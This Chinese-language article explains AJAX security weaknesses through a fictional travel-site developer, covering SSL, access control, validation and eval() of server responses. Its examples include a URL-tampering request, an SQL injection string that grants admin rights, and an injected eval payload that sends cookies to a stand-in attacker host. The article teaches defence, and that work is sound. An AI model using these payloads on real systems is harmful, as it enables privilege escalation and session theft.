Web開發者不會注意到由「AJAX(Asynchronous JavaScript And XML)」所帶來的熱情。不費力氣就能創建像Google Suggest那樣的智慧網站或像Gmail那樣基於Web的應用程序，這在很大程度上要歸功於這種技術。然而，伴隨著AJAX應用程式的發展，我們發現了它的一些不足之處，我們發現它的安全漏洞也在逐漸變大，就像慢慢地把基於AJAX的站點放入了一顆定時炸彈中。 Web開發者不會注意到由「AJAX(Asynchronous JavaScript And XML)」所帶來的熱情。不費力氣就能創建像Google Suggest那樣的智慧網站或像Gmail那樣基於Web的應用程序，這在很大程度上要歸功於這種技術。然而，伴隨著AJAX應用程式的發展，我們發現了它的一些不足之處，我們發現它的安全漏洞也在逐漸變大，就像慢慢地把基於AJAX的站點放入了一顆定時炸彈中。
AJAX的好處
在當年「Web應用程式」的美好時代，事情非常簡單。你填寫了一個表單，點擊「提交」按鈕，然後當前畫面就消失了，等待一小會兒後你就轉入到了下一個頁面。今天的狀況已經不是這樣的了，用戶需要的是一種就像任何桌面應用程式一樣流暢、快速且人性化的Web體驗。
AJAX經常是和DHTML(Dynamic HTML)一起協作的，它的順利執行需要允許網頁中的JavaScript程式碼和web伺服器在後台無縫通訊。比方說，當你開始在Google Suggest的搜尋框中輸入東西時，web頁面就和伺服器在後台開始交換數據，然後會給出一些你可能需要的詞條等。所有的這一切都不需要頁面刷新或按下任何按鈕。同樣這也就是像Gmail那樣的應用程式怎麼能對即時拼字檢查做的那麼好的原因。
AJAX怎樣工作
AJAX複雜的原理已經超出了今天所要闡述的範圍，這裡只簡單描述一下。你的頁面上的JavaScript程式碼能夠在不依賴使用者的情況下和你的Web伺服器取得聯繫。這裡面扮演核心角色的就是JavaScript的XMLHttpRequest對象，這個物件能夠被就像使用者敲擊鍵盤或時鐘事件在後台或非同步觸發(也就是術語異步JavaScript和XML)。
如果你在Google Suggest中輸入「ajax」後，就會得到像我輸入後得到的伺服器請求一樣:
1. www.google.com/complete/search?hl=en&js=true&qu=aj
2. www.google.com/complete/search?hl=en&js=true&qu=aja
3. www.google.com/complete/search?hl=en&js=true&qu=ajax
在這個術語中的XML部分有一點會引起人們的誤解，其實這部分是沒有任何意義的。它是從JavaScript物件得來的名字，同時許多AJAX風格的應用程式使用了XML，這個物件能夠就任何事務向伺服器發出一個請求。甚至JavaScript程式碼本身也能夠被取回和評估。繼續完成我的輸入“ajax example”，將會從Google的伺服器產生下面的回應:
sendRPCDone(frameElement, "ajax example", new Array("ajax example", "ajax examples"), new Array("153,000 results", "177,000 results"), new Array(""));
這將會給你一些關於強大的AJAX的暗示吧，它具有在運行中(on the fly)把新的JavaScript程式碼加入到瀏覽器中的能力。然而，最優化的方法看起來好像束縛了XML協定。舉個例子說明一下，像是Google產生了下面的這個東西:
ajax example
153,000
ajax examples
177,000
顯然，你可以在一個合適的表單中解釋這些XML數據，但我們要感謝JavaScript，它確實能夠在一些非常典型的限制條件下和大量討厭的IE bug環境裡非常好的處理XML物件。
為了幫助你理解一些Ajax的問題，我在這裡給你介紹一個假想的旅行公司-「時代尖端旅行公司」。由於受到AJAX bug的推動，他們的主要web開發者Max Uptime為了創建一個這樣的應用程序，他決定混合使用AJAX，這樣，他走在時代尖端了。
AJAX的問題
半數以上的AJAX安全風險來自於隱含在伺服器中的漏洞。顯然，使用安全編碼技術的好的設計，對於更安全的AJAX大有幫助，我們需要感謝Max熟悉開放萬維網應用安全計劃(the Open Web Application Security Project - OWASP)排名前十的最嚴重web應用程式安全漏洞列表( www.owasp.org )。不幸的是，當Max實現AJAX的時候，他仍然需要面對許多額外的因素:
1.新的技術:如果Max想把他的站點連接到一個SQL資料庫，他在谷歌查到了數百萬的例子。 AJAX技術，不管這種技術有多年輕，它仍然是出現在採購循環中相對較早的，儘管它只有很少一部分好的例子出現在網路上。為了解決一些難處理的、不必要的複雜問題，這就要求像Max那樣的開發者去自主開發。 Max也不得不編寫伺服器端和客戶端的程式碼，創建他自己不太確定的協定(特別是對伺服器回應來講)。不管這些協議有多好，都將會及時表現在頁面上。
2.非傳統方式的設計:AJAX有一點點不同於傳統設計方式，因為這樣的應用程式是半客戶端半服務端的。在Max的例子裡，他是唯一的開發者，所以他為服務端和客戶端都能夠進行編碼。在同一時間使用兩種不同的語言(特別是在早期階段)進行開發將會產生一些初級的編碼錯誤，因為他要在兩端來回跳躍，對一端來講非常好，但可能在另一端不能夠勝任。即使Max有一個大型的開發團隊，安全編碼責任也可能在服務端和客戶端開發小組之間程式碼移交的時候發生問題。
3.太多的腳本語言:Max憑藉他自己的聰明才智決定建立世界上最優秀的旅行登記工具。你從輸入你現在的位置(透過郵遞區號、電話區號或GPS等等)開始登記，這時候一個AJAX請求就會被立即發送來確定你確切的位置。從那時候開始，螢幕上就會填入你所有可以利用的旅行方式，這一切甚至都是在你決定你想要去什麼地方、你打算什麼時候動身和你打算和誰一同去之前就完成的。
這個畫面上的單元格和控制項都充滿了AJAX驅動，伺服器端和客戶端的腳本可能需要超過20個不同的伺服器呼叫。你可以想像一個很小的個體伺服器程序，例如findairportsbylocation.aspx 或determinemaxbaggageallowancebyairline.php.
顯而易見，如果沒有Max的仔細計劃(例如創建多功能的「重載」JavaScript函數和伺服器腳本)，每一次設計他都需要創建超過40個獨立的部分。更多的程式設計意味著會產生更多的錯誤和bug，這意味著需要更多的時間來編寫、管理、測試和更新程式碼。不僅如此，因為在客戶端的JavaScript程式碼中應用了大量的這種腳本，他們在正式的程式測試中也容易變得很健忘。
4.確定小部分的AJAX不會造成危害:這個站點是一個計劃出行的站點，但是Max考慮的是它將立刻為你提供一個顯示精確位置的衛星視圖，並且把你所要到達目的地的天氣情況也提供給你。 AJAX最大的誘惑之一看起來好像是直到最後一刻它還在進行其它的操作，就像一個講解員在那裡解說一樣，為了AJAX使用了AJAX。當Max開始嘗試他的新想法時，他會逐漸嘗試增加更多新的功能，完全忽略測試的需要。
5.不安全的通訊:每一個AJAX呼叫可能只回傳很少數量的資料給客戶端，但那些資料是私有的、保密的。 Max可以寫一個便利的工具來對你的信用卡號碼進行數位校驗，但是如果使用純文字代替over SSL進行發送資料會怎樣呢?這是一個顯而易見的問題，但是當有許多例行程序需要考慮，特別是螢幕上其它99%的資料不是真正的機密資料時，很容易就會忽略SSL的。
6.伺服器端存取控制:使用JavaScript程式觸發AJAX經常會掩飾一些顯而易見的編碼錯誤，伺服器端存取控制就是一個例子。假設Max想參考你上次遊覽的一個詳細目的地來為你提供你中意的旅館，他可能會是像下面這樣:
showprevioushotels.aspx?userid=12345&destination=UK
這當然是非常好的，但是如果一個惡意用戶把URL改成瞭如下所示該怎麼辦呢:
showprevioushotels.aspx?userid=12346&destination=%
他們會得到其他人最愛的旅館嗎?(注意:%在SQL語句中是通配符)。無疑，這是一個沒有什麼危害的例子，但是Max應該使用session、cookie或者其它符號形式來確保資料能並且只能發送到正確的使用者那裡。它們可能只是數據的一小部分，但它們可能是最重要的一小部分。
7.伺服器端驗證:實際上這裡有兩個問題。第一，AJAX控制經常被用來在使用者最後提交到伺服器之前的輸入驗證。這麻痺了Max，使Max有一種虛假的安全感，原因是他建立了稱作alloweddestinations.php的函數，根據用戶的ID來決定他們能夠到達的正確目的地。
因為這是一個伺服器端的檢查，當這個頁面最後被提交的時候他不必再次為在伺服器上做檢查而煩惱，這裡我們假定不會有惡意的用戶暗中破壞從alloweddestinations.php的回應或破壞對伺服器最後的請求。
AJAX控制可以比使用者自己更仔細驗證使用者的輸入，但是他們還是常常在伺服器上最後做一次驗證。
AJAX驗證的第二個問題就是控製本身會受到驗證漏洞的影響。這裡再次強調一下，URL通常是隱藏著的，所以也會常常忘記它。舉例說明一下，也許我可以使用SQL Injection來對剛才的腳本進行攻擊，如下所示:
showprevioushostels.aspx?userid='; update users set type='admin' where userid=12345;--
就會讓我登入後具有系統管理員的權限。當然，如何取得那些表名(table)和欄位名稱已經超出了本文討論的範圍，但是你已經了解這種情況了，不是嗎?
8.客戶端驗證:我們已經知道在剛才的Google Suggest範例中，透過簡單評測服務端的回應後動態建立和執行JavaScript函數是可行的。如果沒有任何形式的驗證(如果這樣的話在客戶端很難保證可靠性和流暢性)，客戶端將僅僅簡單執行伺服器需要它完成的事情。
這樣的話，由於真正的程式碼怎麼執行的對於一個普通用戶來講是永遠看不到的(也就是說你不能夠“查看源文件”)，於是潛在地為惡意的黑客們打開了一個完全的攻擊導向。如果伺服器的回應持續不斷地被搗亂(這種破壞行為可能是在網路伺服器本身也可能是在資料傳輸過程中)，這種攻擊將很難被發現。
Max使用下面的回應在目的地網頁上更新天氣圖標，他是用的函數是eval();函數:
updateWeatherIcon('cloudy.gif');
然而，惡意的cracker能夠把這個函數變成下面的形式，這樣要發現這種攻擊就更加困難了:
updateWeatherIcon('www.myhackingsite.ru/grab.aspx?c=' + document.cookies); updateWeatherIcon('cloudy.gif');
我們現在能夠在我們自己的伺服器上追蹤每個使用者的session ID/cookie。
小結
毫無疑問，AJAX和AJAX-style技術都是通往web設計的光明大道。開發者可以在web上創造出以前從所未有的真正的“應用程式”，使用AJAX必須小心謹慎，這樣才能夠確保web站點的安全。
然而，最大的威脅之一，來自日益複雜的使用AJAX的客戶端腳本和伺服器端腳本。這些腳本被技術手段隱藏在了視線之外，使測試很不直觀;同時，這種新技術看起來也使web開發者忘掉了基本的好的編碼方式。就像存取控制和輸入校驗這樣的問題也不會消失，它們變得更多更複雜了。
-